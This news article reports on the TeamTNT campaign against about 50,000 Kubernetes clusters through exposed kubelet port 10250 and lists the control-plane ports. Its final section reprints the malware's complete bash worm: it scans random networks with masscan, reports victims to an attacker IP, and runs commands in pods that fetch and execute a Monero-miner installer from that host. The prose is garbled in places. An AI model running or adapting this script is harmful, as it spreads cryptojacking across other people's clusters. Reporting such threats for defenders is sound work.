Kubernetes Clusters Under the Prime Radar of New TeamTNT Malware

50,000 Kubernetes servers clusters already recorded as casualties of this worm-like assault

TL;DR

Cybersecurity organization, Trend Micro Inc., has on May 25, 2021, reported the results of a survey on the most recent activities of the TeamTNT malware that has compromised 50,000 vulnerable Kubernetes servers, with room for more spreading globally in the nearest future.

TeamTNT’s modus operandi could be related to a worm-like mannerism that is misconfigured and Kubernetes servers susceptible.
TeamTNT’s modus operandi could be related to a worm-like mannerism that is misconfigured and Kubernetes servers susceptible.
Key Facts
  1. 1

    50,000 Kubernetes servers have already been entered using a worm-like attack.

  2. 2

    The threat actors have adopted open source network scanning tools.

  3. 3

    TeamTNT malware is exploiting vulnerable API ports.

  4. 4

    China, not quite closely followed by the United States, has the most compromised nodes, 55%, and 16% respectively.

Details

Big shot multinational cybersecurity software organization globally headquartered in Japan and the United States also has regional headquarters – Europe, Asia, and North America.

The identity of the aforementioned is not hard to guess, Trend Micro Inc. The company’s history dates back to 1989 where its first seed was planted. At present times, the company’s enterprise security software mission for servers and cloud computing norms has been recognized by VMware customers, Microsoft Azure, Amazon AWS, which they provide automated security for.

Threat actors are always on the lookout for misconfigurations, especially in popular applications. When it comes to delegating the operations of deployment, scaling, and management of containerized applications, Kubernetes earns the most sought-after award. Many tools and software have been built around the most popular container orchestrator in the world, Kubernetes. Quite a number have been built towards mitigating the inevitable misconfigurations that come with Kubernetes cluster creation, scaling, and management. However, it is no news that TeamTNT has pinpointed Kubernetes servers.

This is just one among many cyberattack trends affecting the Kubernetes community. The perp, TeamTNT, has sent their malware to nearly 50,000 IPs across multiple clusters. The attacks peaked between March and May. According to this report, China (55%) had more compromised nodes in their ISP list than the rest of the world combined. The United States came next with 16%, 5% recorded in France, 4% recorded for both The United Kingdom and Germany, Canada with 3%, the remaining 13% scattered across the world.

This could be due to relatively higher numbers operating in China and the United States than other countries. Just recently, fellow cybersecurity organization, Veamm, buttressed on another ravaging cyberthreat, ransomware.

TeamTNT’s modus operandi could be related to a worm-like mannerism that is misconfigured and Kubernetes servers susceptible. Trend Micro also provided an intricate outline, talking more about the automatic networks/ports scanning and worm-like spreading of malware.

The infamous malicious actors are thought to have Kube.lateral.sh, an execute at their disposal, which can always slip through security as only a snippet of AV engines. VirusTotal can detect the executable, i.e., after the actors have disabled the Bash history, setting up the C2 server communications. All these aim to accommodate the Monero miner (XMRig), which leaves the equation later.

They also employ open source network scanning tools, masscan, Internet-scale port scanners, and Zgrab, the application layer scanner. Masscan scans exploit port 10250, which is left open as part of the kubelet API. The malware then goes for all the running pods, exploiting /run to release commands. Closing the port 10250 on running k8s clusters and protecting Kube API servers have been underlined as an effective deterrent.

Kubeadm users know that the ports listed below must be open for a cluster to function effectively.

Protocol Direction Port Range Purpose Used By
TCP Inbound 6443* Kubernetes API server All
TCP Inbound 2379-2380 etcd server client API kube-apiserver, etcd
TCP Inbound 10250 kubelet API Self, Control plane
TCP Inbound 10251 kube-scheduler Self
TCP Inbound 10252 kube-controller-manager Self
Control-plane node(s)
Protocol Direction Port Range Purpose Used By
TCP Inbound 10250 kubelet API Self, Control plane
TCP Inbound 30000-32767 NodePort Services† All
Worker node(s)

The kubelet API port (10250) should not be exposed to the internet since it is the same as keeping your Docker Daemon API open. After getting access to the environment, TeamTNT hacks the kubelet, allowing the scans to take place inside.

Untitled.png

According to TrendMicro, by looking at server.gofile inside the /kubelet/server package, the first thing the kube_pwn() function does is to get some information from the Kubelet API via the /runningpods endpoint, filtering the namespace, pod name and container names.

#!/bin/bash
T1OUT="120"
TEMPFILE="/tmp/"$RANDOM$RANDOM$RANDOM

function kube_pwn(){
theip=$1
timeout -s SIGKILL 20 curl -sk https://$theip:10250/runningpods/ 2>/dev/null 1>/dev/null
RESULTCHECK=$?

if [ "$RESULTCHECK" = "0" ];then
#timeout -s SIGKILL $T1OUT curl -sk https://$theip:10250/runningpods/ | jq . | grep 'namespace'
if [ -f $TEMPFILE ]; then rm -f $TEMPFILE; fi
wget -O /dev/null http://45.9.148.35/input/kube_in.php?target=$theip
timeout -s SIGKILL $T1OUT curl -sLk https://$theip:10250/runningpods/ | jq -r '.items[] | .metadata.namespace + " " + .metadata.name + " " + .spec.containers[].name' >> $TEMPFILE

while read namespace podname containername; do
echo $namespace" "$podname" "$containername
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt update --fix-missing"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk update"

timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="yum install -y bash"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="yum install -y wget"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="yum install -y curl"

timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt install -y bash"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt install -y wget"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt install -y curl"

timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk add bash"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk add wget"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk add curl"

timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="wget http://45.9.148.35/chimaera/sh/setup_xmr.sh -O /tmp/.x1mr"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="curl http://45.9.148.35/chimaera/sh/setup_xmr.sh -o /tmp/.x2mr"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="sh /tmp/.x1mr"
timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="sh /tmp/.x2mr"
done < $TEMPFILE
fi
}


function kube_scan(){
T_RANGE=$1
SC_RATE=$2
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan $T_RANGE.0.0.0/8 -p10250 --rate=$SC_RATE | awk '{print $6}')'";

for IP_ADDR in ${!rndstr}
do
echo "$IP_ADDR:10250"
kube_pwn $IP_ADDR
done;
}

while true; do
SCAN_T=$(curl -s http://45.9.148.35/scan_threads.dat || wget -q -O - http://45.9.148.35/scan_threads.dat)
if [ -z "$SCAN_T" ];then export SCAN_T=10000;fi
RAN_GEN=$[RANDOM%255+1] 
kube_scan $RAN_GEN 20000
unset SCAN_T
unset RAN_GEN
done

exit

Get similar sotries in your inbox weekly, for free

Is this news interesting? Share it with your followers